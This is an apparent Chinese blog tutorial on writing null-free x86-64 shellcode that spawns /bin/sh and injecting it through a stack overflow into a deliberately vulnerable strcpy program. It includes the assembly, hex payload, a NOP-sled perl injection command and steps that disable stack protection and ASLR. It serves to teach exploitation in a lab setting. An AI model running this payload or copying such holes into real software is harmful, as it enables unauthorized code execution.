黑客攻防入门(三)shellcode进阶

1. 概说

实际上,编写shellcode面昨很多障碍和限制,很多时候必须忍受没有办法解决问题的痛苦。

2. 问题

首先,在缓冲区里使用植入shellcode,代码里只能出现一个NULL(0)字符,因为所有的输入函数,只要检测到NULL字符就会返回,因此,NULL只能够出现在shellcode的结尾处,否则,shellcode将会变得不完整。

其次,缓冲区的大小,大部分的缓冲区都是一个很小的空间,如8字节,16字节,在这么小的空间里shellcode的编写真变得很紧凑了。

  1. 通常,一个通过网络去获取shell的code,包含的代码很容易就越出了缓冲区的容纳空间,这样的结果,往往是把无用的数据填充在了返回地址的空间上,达不到取得程序运行控制的目的。
  2. 解决这个问题的方法是有很多,聪明的黑客想出了头尾两段shellcode写法,先将shellcode的头部植入缓冲区,然后再跳转到其它位置的shellcode的尾部。
  3. 不过,这只是一个思路,要再找一个植入尾部的空间,是一件很有挑战性的工作。

最后,Sehllcode最重要的工作是要确定自己在内存的位置,这是一个非常困难的任务,栈上和堆上的缓冲区地址几乎是不可能豫知的,再高明的黑客也只能通过将程序崩溃来推算具体地址,虽然有聪明的黑客想出避免崩溃的办法,但这总是相对于运气来说的。

这里只阵述三个基本的问题,编码操作中会有千万万的问题出现,如多平台间的区别,系统调用的差异,恢复入侵程序的运行等等。

3. 修改shellcode

我们在前一篇文章里构造了一个shellcode,现在我们根据问题来再次修改这个shellcode,令它可以适应缓冲区输入的条件。

.section .text
.global _start
_start:
jmp     cl
pp: popq %rcx
pushq   %rbp
mov     %rsp, %rbp
subq    $0x20, %rsp
movq    %rcx, -0x10(%rbp)
movq    $0x0,-0x8(%rbp)
mov     $0, %edx
lea     -0x10(%rbp), %rsi
mov     -0x10(%rbp), %rdi
mov     $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"

上面这段代码里,有两个地方出现了0x0, 如果用作缓冲区输入,则会造成输入提前返回,shellcode植入失败。

还有一个注意的是0x20,这个在ascii里代表的是空,也会造成输入中断,输入函数返回。

我们可以将有ox0的代码用其他指令代替

首先,我们用指令: xorq %rax, %rax
这条指令可以把rax寄存器通过异或运算置0
然后0x0的地方就可以用%rax代替了。
把0x20改为0x16,这个没关紧要,是栈空间的大小,shellcode中是用来保存'/bin/sh'这个字符串用。

下面是修改后的代码:

.section .text
.global _start
_start:
jmp     cl
pp: popq %rcx
pushq   %rbp
mov     %rsp, %rbp
subq    $0x16, %rsp
movq    %rcx, -0x10(%rbp)
xorq     %rax,  %rax
movq    %rax,-0x8(%rbp)
movq     %rax, %rdx
lea     -0x10(%rbp), %rsi
mov     -0x10(%rbp), %rdi
mov     $59, %rax
syscall
cl:call pp
.string "/bin/sh"

将代码编译后用objdump取出十六制编码如下:

\xeb\x28\x59\x55\x48\x89\xe5\x48
\x83\xec\x16\x48\x89\x4d\xf0\x48
\x31\xc0\x48\x89\x45\xf8\x48\x89
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68

4. 测试实验

简单的修改了shodecode后,我们用下面的c代码生成的程序进行缓冲区溢出测试。

#include <stdio.h>
#include <string.h>

#define BUFSIZE 64

int main(int argc, char *argv[])
{
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
    printf("Buf: %p\n", &buf);
    return 0;
}

这段代码为我们解决了前面所提到的两大问题,就是

  1. 缓冲区足够放入我们的shellcode
  2. 我们用printf将shellcode植入的地址打印出来,实际的入侵中,不会出现这些便利。
  3. buf处于main的栈基上第一个变量,我们很容易计算出buf离main设定的返回地址的距离:计算方法很简单, BUFSIZE+8的地址里就是main保存返回地址的地方。

为什么这样计算,请参考我写的入门(一)。

现在我们要做的事情是,令buf的地址覆盖main的返回地址(下面称它为ret),我们已经知道buf到ret的长度是BUFSIZE(64)+8,即是72byte。

下面我们来计算一下shellcode的大小:

\xeb\x28\x59\x55\x48\x89\xe5\x48
\x83\xec\x16\x48\x89\x4d\xf0\x48
\x31\xc0\x48\x89\x45\xf8\x48\x89
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68

我们的shellcode共53byte,那么我们还需要添加19byte(72-53=19)其他内存才能将缓冲区溢出ret地址处。

那么我添加一些什么内容呢? 这内容可不是随随便便都可以的。

程序设计里有一个操作叫NOP,它是no operation的简写,就是什么也不做,简直天生是为缓冲区溢出而设计的。

当然nop是为了让程序产生短暂的停顿而设计的。

添加内容是加在shellcode的头还是尾呢?

这也是有考究的,将NOP加在shellcode的头,能够增加注入的机率,原因是什么呢?

buf的地址因每次程序的启动而改变,所以很难精准地获取到,但它终是在一个范围内变动,我们只要将ret落在buf地址的变动范围内,最理想就是落在shellcode的起始地址里,比较理想的是落到NOP中,通过NOP的移动,执行shellcode。
不过由于是测试程序,我们已经知道了注入的确切地址,一切都好办起来。

NOP写成指令就是0x90, 下面我们用0x90填充shellcode头部,让它达到72byte的长度。

\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90
\xeb\x28\x59\x55\x48\x89\xe5\x48
\x83\xec\x16\x48\x89\x4d\xf0\x48
\x31\xc0\x48\x89\x45\xf8\x48\x89
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68

好了,下面我们编译写好的C测试程序:

gcc -g -fno-stack-protector -z execstack -o stack1 stack1.c

# gcc带的参数-g是产生gdb调试符号,另外的参数则是取消堆栈代码运行保护。

我们先执行stack1, 目的是查看buf的地址。

[root@localhost stack]# ./stack1  1
Buf: 0x7fffffffe300

新的内核在每次装载程序时,基栈地址都会发生变化,在这里我们先将这个功能限制了
参数设置:sysctl -w kernel.randomize_va_space=0
通过这样设置就可以固定程序基栈起址

然后我们开始注入shellcode测试:

./stack1 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\
 x28\x59\x55\x48\x89\xe5\x48\x83\xec\x16\x48\x89\x4d\xf0\x48\x31\xc0\x48\x89\x45
\xf8\x48\x89\xc2\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f
\x05\xe8\xd3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\xe3\xff\xff\xff\x7f"'`

#最后的这个\x00\xe3\xff\xff\xff\x7f就是【ret】返回地址,通过这个地址去执行我们的shellcode。
#前一个\00用来终止shellcode,没有这个\00可能会有出现问题。

6. 总结

以上实验都是人为堆拼制造的溢出环境,主要目的是掌握溢出的基本原理、方法。

现在,要绕开各种限制,真实的溢出入侵,还存在很大的距离。

往下文章继续介绍和研究,请关注和指点!

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,290评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,399评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,021评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,034评论 0 207
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,412评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,651评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,902评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,605评论 0 199
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,339评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,586评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,076评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,400评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,060评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,083评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,851评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,685评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,595评论 2 270

推荐阅读更多精彩内容